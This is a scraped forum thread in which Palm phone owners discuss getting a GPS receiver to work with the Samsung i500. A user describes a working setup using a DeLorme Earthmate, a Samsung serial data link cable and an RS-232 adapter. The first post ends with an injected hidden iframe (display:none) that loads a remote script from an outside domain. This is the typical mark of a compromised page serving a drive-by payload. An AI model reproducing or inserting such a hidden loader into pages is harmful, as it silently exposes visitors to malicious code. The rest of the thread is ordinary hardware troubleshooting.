Is GPS capability with the i5 impossible? Can't imagine it it with a Palm OS...<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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Scott Reed
pda@skip-with.net (remove "-")

Well, here is a Palm GPS unit: http://www.garmin.com/products/iQue3600/. It is way cool too.

Thanks for the reply. I was specifically referring to the I500. Plenty of GPS's out there will connect to a Palm PDA, provided you have the right cable. Samsung will not confirm that a generic Pam cable will enable communications from a GPS and the I-500. No GPS cable that I have found will connect to the i5.

I see that Scott is working on something to this effect...

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Scott Reed
pda@skip-with.net (remove "-")

I'm interesred to know if there is a GPS that will work with the I500 as well. I have not been able to find any. I was looking at a portable one for the car from Magellan. Anyone know of anything before I spend $1000 bucks?

I know nothing about how gps receivers and software work together so maybe this is stupid question but I'll ask it anyway.

Is there any chance the Teletype GPS(see the article on the home page of these forums) for the I700 will work with the I500 with different software? The connectors are the same for the I500 and I700 I believe but the software from teletype is on PPC.

Unless you have to get one for the i500 to save some money you should definitely take a serious look at travroute which is now own by ALK Technologies. They are not new at this and I started buying their products when it could only run on a laptop which was very inconvenient. They are the best when it comes to street to street location. The GPS will even tell you if it is on the right or left of the road. This product has matured enormously from what originally was a very basic program. They have also listened to the users when upgrading the product. It works best with a Compaq pocket PC. I only use my pocket pc for gps navigation. Was it worth spending bucks for one function? Without any hesitation the answer is yes. Garmen always gets first look but these guys make the better product. By the way I am in no way affiliated with this company. I am just a very satisfied user.
http://www.alk.com/products/consumer...tpc4/index.asp

A stand-alone product could work but it seems like a waste since I have a I-500 with Palm software. The only hangup is the communications between the GPS receiver and the phone.

Additionally, a stand-alone unit won't serve my needs because I need to to use self scanned and calibrated maps (aerial photos) as opposed to pre-loaded street maps.

Why do you think Samsung didn't make the I-500 compatable with accessories available to other Palm PDA's?

Regardless, the I-500 is still the best think on the market today...

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Scott Reed
pda@skip-with.net (remove "-")

I'm interesred to know if there is a GPS that will work with the I500 as well. I have not been able to find any. I was looking at a portable one for the car from Magellan. Anyone know of anything before I spend $1000 bucks?
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I have purchased the Navman I630 standalone unit for about $800. and am very pleased with it. Runs off cigarette lighter, gives voice comands and its portability allows me to take it from car to car. I have also taken it with me while traveling and used it whereever I am.
Yes, a voice command unit would be nice for the I500, but I dont see it happening.
Mike

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michaelb92

If there is a GPS for the i500 I bet you will be disappointed. While this processor is good I believe it is still not close to the processors in the ipaqs. I saw a GPS setup for a Palm run on a slower processor than the i500 and it was terrible. It took forever and I mean forever to load a map. I think this is why it will not be easy to find GPS units for the Palm. The processor is still not quite there yet for this type of heavy lifting.

There are numerous GPS software options for Palms - even the slower models. For instance, I have Tracker by GPS Pilot installed on my i-500. It runs fine with my 1MB image file (aerial photo). Tracker is set up to take GPS input from various different models. If I were running on a PDA (Palmpilot, etc) it would be possible to connect to any kind of GPS and thus be capable of tracking my position. It is even capable of receiving a Bluetooth signal from a GPS. The only problem in the connection between the i-500 and the GPS. So we have software that is capable, hardware that is capable, but getting the two to communicate is the problem. A typical GPS output is very simple and should not take very much processor speed. In fact it is only three leads if someone were to hard wire it. (+, signal and common).

Can anyone give me any advise as to how to tackle this seemingly simple problem? The simplest solution is to use my current GPS (Earthmate from Delorme) and purchase a Palmpilot that can be connected to the GPS. This seems like redundant hardware, however.

Thank you

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Scott Reed
pda@skip-with.net (remove "-")

I had the same question, and the answer i found was no. The phone has the capability, but sprint hasn't/won't enabled it, therefore it can't be done. It's highly unlikely that sprint will offer a phone update when you can buy the next model.

That is a different type of GPS. They usually work by finding your location between three or four cell sites. This is not operational because there are no applications yet for it. It is a chicken/egg type of problem. The type of use with this GPS will allow a business for example to recognize you as you walk by the store and offer a discount or advertise products.

GPS for door to door or street tracking uses satellites and you use an antenna the GPS software company supplies. I think most companies are using the same antenna company. This doesn't mean the wireless implementation can't have a similar use but it is not seen in this way. So it is not Sprints fault. If there are no GPS products for the I500 it probably is because they don't want to spend the time and money to modify the product to run on this device.

Perhaps this will address my question:

Are there ANY hardware accessories made for Palm OS that can be used with the i-500?

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Scott Reed
pda@skip-with.net (remove "-")

Good Question.

I have a DeLORME Earthmate Hyperformance GPS Receiver that I purchased a few years ago for a Palm IIIc. I also have a Samsung serial DATA LINK CABLE MODEL PCB035LBE. I originally purchased this cable on closeout from Comp USA for $29.99, shortly after I upgraded from an I300 to an I330. I took a chance that it might work with the newer model. Though link cables that have subsequently been released by Samsung for the SPH-Ixxx series phones are USB, I have not had an issue other than speed using it with the I330 and now I500.

I bridged the Serial Data Link Cable to the Earthmate using a standard 9 pin rs232 male to rs232 male adapter. After loading the old software that came with the Earthmate, I created a few maps for my local area and went out for a test drive. Everything works as it should.

The only other item of interest to note is that the auxiliary power receiver on the side of the data link cable enables me to charge my phone with a lighter adapter while having it connected to the GPS.

I snapped a shot of the setup and am attaching it to this post.

Attached Thumbnails

 

This is EXACTLY the solution I was looking for. I knew it couldn't be impossible. Thanks a lot. I'll post back and let you know how it works.

Cheers,
-Scott

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Scott Reed
pda@skip-with.net (remove "-")

Trey

Very, very cool.

How well does the Earthmate work? Is the resolution / update speed okay to be usable on streets in the city?

Thanks

Paul

The resolution is very good. Even though the GPS unit is 3 years old, Delorme continues to support it and the Solus Pro 2.0 software that came with it. I am able to download updated maps and routes directly from Delorme’s site. Because this version of the software supports Vector images, the resolution is consistently good even when zooming in.

The refresh will appear to be slow if you are gazing into the lcd waiting to be informed of the next turn. However, that perception is easily overcome when driving. Virtually every time I look for the next turn, it is on the screen. I will add that using it on the I500 is much faster than the old Palm IIIc I first had it hooked into.

I have not experienced any difficulties using my Earthmate in the city. But I live in Buffalo New York, which is certainly not comparable to the likes of NYC, Chicago, or LA.

For me this setup provides a fully functional Color GPS, integrated into my phone, for under $130. ($99 for the GPS, $29 for the cable).

I hope this is helpful.

Can you still order this anywhere?

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Mike - Been Converged?

http://www.delorme.com/earthmate/

found a link this is very cool, makes me think you could connect to it from any one of our pda phones that has a serial cable available, even the t600!!

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